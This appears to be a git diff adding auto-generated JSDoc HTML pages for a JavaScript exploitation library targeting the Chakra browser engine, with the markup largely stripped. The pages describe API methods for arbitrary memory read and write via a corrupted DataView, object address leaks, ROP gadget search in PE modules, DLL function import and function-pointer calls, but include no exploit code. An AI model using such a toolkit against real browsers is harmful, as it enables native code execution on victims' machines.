+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_StructPointer.html b/docs/ChakraExploit_StructPointer.html new file mode 100644 index 0000000..9202830 --- /dev/null +++ b/docs/ChakraExploit_StructPointer.html @@ -0,0 +1,252 @@ + + + + + StructPointer - Documentation + + + + + + + + + + + + + + + + +
+ +

StructPointer

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + StructPointer +

+ + +
+ +
+
+ + + + + +

new StructPointer(base, address)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a structure type. Internal. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + type
address + + +Integer + + + +
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_StructType.html b/docs/ChakraExploit_StructType.html new file mode 100644 index 0000000..0547260 --- /dev/null +++ b/docs/ChakraExploit_StructType.html @@ -0,0 +1,283 @@ + + + + + StructType - Documentation + + + + + + + + + + + + + + + + +
+ +

StructType

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + StructType +

+ + +
+ +
+
+ + + + + +

new StructType(fields, alignmentopt)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a structure type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
fields + + +Array + + + + + + + + + + Description of structure's fields
alignment + + +integer + + + + + + <optional>
+ + + + + +
Override default alignment
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_Thread.html b/docs/ChakraExploit_Thread.html new file mode 100644 index 0000000..14403fc --- /dev/null +++ b/docs/ChakraExploit_Thread.html @@ -0,0 +1,343 @@ + + + + + Thread - Documentation + + + + + + + + + + + + + + + + +
+ +

Thread

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + Thread +

+ + +
+ +
+
+ + + + + +

new Thread()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a thread using a Web Worker. The worker script must create a ChakraThreadExploit object. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + +

Methods

+ + + + + + +

onmessage()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

postMessage()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ postMessage to web worker +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_Type.html b/docs/ChakraExploit_Type.html new file mode 100644 index 0000000..8796bfa --- /dev/null +++ b/docs/ChakraExploit_Type.html @@ -0,0 +1,180 @@ + + + + + Type - Documentation + + + + + + + + + + + + + + + + +
+ +

Type

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + Type +

+ + +
+ +
+
+ + + + + +

new Type()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Type base class. Internal. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_WString.html b/docs/ChakraExploit_WString.html new file mode 100644 index 0000000..ff6f8fd --- /dev/null +++ b/docs/ChakraExploit_WString.html @@ -0,0 +1,240 @@ + + + + + WString - Documentation + + + + + + + + + + + + + + + + +
+ +

WString

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + WString +

+ + +
+ +
+
+ + + + + +

new WString(s)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a UTF-16 string. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A string to make into a UTF-16 string.
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Pointer
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit.html b/docs/ChakraThreadExploit.html new file mode 100644 index 0000000..afbdaf2 --- /dev/null +++ b/docs/ChakraThreadExploit.html @@ -0,0 +1,3296 @@ + + + + + ChakraThreadExploit - Documentation + + + + + + + + + + + + + + + + +
+ +

ChakraThreadExploit

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit +

+ + +
+ +
+
+ + + + + +

new ChakraThreadExploit()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an exploit class for a worker script. Used in concert with ChakraExploit#Thread to support multithreading. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + + + + + + + + + +

Classes

+ +
+
ArrayType
+
+ +
CString
+
+ +
FunctionType
+
+ +
IntType
+
+ +
Pointer
+
+ +
PointerType
+
+ +
StructPointer
+
+ +
StructType
+
+ +
Thread
+
+ +
Type
+
+ +
WString
+
+
+ + + + + + + +

Members

+ + + +

Int8 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int8Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int16 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int16Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int32 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int32Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int64 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int64Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint8 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint8Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint16 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint16Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint32 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint32Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint64 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint64Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + + + +

Methods

+ + + + + + +

addressOf(obj) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the address of a Javascript object. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
obj + + +* + + + + Any Javascript object
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + +

addressOfSlow(obj) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the address of a Javascript object. Internal. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
obj + + +* + + + + Any Javascript object
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + +

addressOfString(s) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the address of a string. Points to the string's bytes. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A Javascript string
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + +

call(address, …args) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Call a function pointer with the given arguments. Used internally by FunctionPointer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
address + + +Integer + + + + + + + + + +
args + + +Integer + + + + + + + + + + <repeatable>
+ +
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

findGadget(module, bytes) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find a set of bytes in a PE module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
module + + +Integer +| + +Pointer + + + + Base address of PE module
bytes + + +Array + + + + Bytes to locate
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

findGadgets(module, query) → {object}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find multiple sets of bytes in a PE module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
module + + +Integer +| + +Pointer + + + + Base address of PE module
query + + +Array + + + + Array of gadgets to find
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +object + + +
+
+ + + + + + + + + +

findModuleBase(address) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find the beginning of a PE module given any address in the module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
address + + +Integer + + + + Any address in the PE module
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

importFunction(dllName, funcName, returnType) → {function}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Loads a DLL (if not loaded already) and finds the given export. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
dllName + + +string + + + + The name of DLL to find the function from.
funcName + + +string + + + + The name of function to import.
returnType + + +Type + + + + The type of the function return.
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +function + + +
+
+ + + + + + + + + +

initChakra(vtable)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Initializes Chakra helpers using memory read and write. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
vtable + + +Integer +| + +Pointer + + + + Any address in the chakra DLL
+ + + + + + + + + + + + + + + + + + + + + +

read(address, size) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Arbitrary memory read using corrupted DataView. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
address + + +Integer + + + + Memory address
size + + +integer + + + + Bit size
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

write(address, value, size)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Arbitrary memory write using corrupted DataView. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
address + + +Integer + + + + Memory address
value + + +Integer + + + + Value to write
size + + +integer + + + + Bit size
+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_ArrayType.html b/docs/ChakraThreadExploit_ArrayType.html new file mode 100644 index 0000000..5d86957 --- /dev/null +++ b/docs/ChakraThreadExploit_ArrayType.html @@ -0,0 +1,263 @@ + + + + + ArrayType - Documentation + + + + + + + + + + + + + + + + +
+ +

ArrayType

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + ArrayType +

+ + +
+ +
+
+ + + + + +

new ArrayType(base, length)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an array type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + Base type
length + + +integer + + + + Number of array elements
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_CString.html b/docs/ChakraThreadExploit_CString.html new file mode 100644 index 0000000..f5b9f4a --- /dev/null +++ b/docs/ChakraThreadExploit_CString.html @@ -0,0 +1,240 @@ + + + + + CString - Documentation + + + + + + + + + + + + + + + + +
+ +

CString

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + CString +

+ + +
+ +
+
+ + + + + +

new CString(s)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a C string. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A string to make into a C string.
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Pointer
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_FunctionType.html b/docs/ChakraThreadExploit_FunctionType.html new file mode 100644 index 0000000..f61d7dc --- /dev/null +++ b/docs/ChakraThreadExploit_FunctionType.html @@ -0,0 +1,240 @@ + + + + + FunctionType - Documentation + + + + + + + + + + + + + + + + +
+ +

FunctionType

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + FunctionType +

+ + +
+ +
+
+ + + + + +

new FunctionType(returnType)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a function pointer type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
returnType + + +Type + + + + Type of return value
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_IntType.html b/docs/ChakraThreadExploit_IntType.html new file mode 100644 index 0000000..fffe4aa --- /dev/null +++ b/docs/ChakraThreadExploit_IntType.html @@ -0,0 +1,263 @@ + + + + + IntType - Documentation + + + + + + + + + + + + + + + + +
+ +

IntType

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + IntType +

+ + +
+ +
+
+ + + + + +

new IntType(bits, signed)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an integer type. Internal. Use predefined Int and Uint type objects. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
bits + + +integer + + + + Bit size
signed + + +boolean + + + + Whether signed or not
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_Pointer.html b/docs/ChakraThreadExploit_Pointer.html new file mode 100644 index 0000000..5956a15 --- /dev/null +++ b/docs/ChakraThreadExploit_Pointer.html @@ -0,0 +1,252 @@ + + + + + Pointer - Documentation + + + + + + + + + + + + + + + + +
+ +

Pointer

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + Pointer +

+ + +
+ +
+
+ + + + + +

new Pointer(base, address)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a certain type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + type
address + + +Integer + + + +
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_PointerType.html b/docs/ChakraThreadExploit_PointerType.html new file mode 100644 index 0000000..848cab3 --- /dev/null +++ b/docs/ChakraThreadExploit_PointerType.html @@ -0,0 +1,240 @@ + + + + + PointerType - Documentation + + + + + + + + + + + + + + + + +
+ +

PointerType

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + PointerType +

+ + +
+ +
+
+ + + + + +

new PointerType(base)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + Base type
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_StructPointer.html b/docs/ChakraThreadExploit_StructPointer.html new file mode 100644 index 0000000..65c02d7 --- /dev/null +++ b/docs/ChakraThreadExploit_StructPointer.html @@ -0,0 +1,252 @@ + + + + + StructPointer - Documentation + + + + + + + + + + + + + + + + +
+ +

StructPointer

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + StructPointer +

+ + +
+ +
+
+ + + + + +

new StructPointer(base, address)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a structure type. Internal. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + type
address + + +Integer + + + +
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_StructType.html b/docs/ChakraThreadExploit_StructType.html new file mode 100644 index 0000000..1622148 --- /dev/null +++ b/docs/ChakraThreadExploit_StructType.html @@ -0,0 +1,283 @@ + + + + + StructType - Documentation + + + + + + + + + + + + + + + + +
+ +

StructType

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + StructType +

+ + +
+ +
+
+ + + + + +

new StructType(fields, alignmentopt)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a structure type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
fields + + +Array + + + + + + + + + + Description of structure's fields
alignment + + +integer + + + + + + <optional>
+ + + + + +
Override default alignment
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_Thread.html b/docs/ChakraThreadExploit_Thread.html new file mode 100644 index 0000000..3d5af75 --- /dev/null +++ b/docs/ChakraThreadExploit_Thread.html @@ -0,0 +1,180 @@ + + + + + Thread - Documentation + + + + + + + + + + + + + + + + +
+ +

Thread

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + Thread +

+ + +
+ +
+
+ + + + + +

new Thread()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a thread using a Web Worker. The worker script must create a ChakraThreadExploit object. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_Type.html b/docs/ChakraThreadExploit_Type.html new file mode 100644 index 0000000..3ccd234 --- /dev/null +++ b/docs/ChakraThreadExploit_Type.html @@ -0,0 +1,180 @@ + + + + + Type - Documentation + + + + + + + + + + + + + + + + +
+ +

Type

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + Type +

+ + +
+ +
+
+ + + + + +

new Type()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Type base class. Internal. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraThreadExploit_WString.html b/docs/ChakraThreadExploit_WString.html new file mode 100644 index 0000000..4e9c434 --- /dev/null +++ b/docs/ChakraThreadExploit_WString.html @@ -0,0 +1,240 @@ + + + + + WString - Documentation + + + + + + + + + + + + + + + + +
+ +

WString

+ + + + + + + +
+ +
+ +

+ ChakraThreadExploit# + + WString +

+ + +
+ +
+
+ + + + + +

new WString(s)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a UTF-16 string. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A string to make into a UTF-16 string.
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Pointer
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/Integer.html b/docs/Integer.html new file mode 100644 index 0000000..4ddd81f --- /dev/null +++ b/docs/Integer.html @@ -0,0 +1,7942 @@ + + + + + Integer - Documentation + + + + + + + + + + + + + + + + +
+ +

Integer

+ + + + + + + +
+ +
+ +

+ Integer +

+ +
A Integer class for representing a 64 bit two's-complement integer value.
+ + +
+ +
+
+ + + + +

Constructor

+ + +

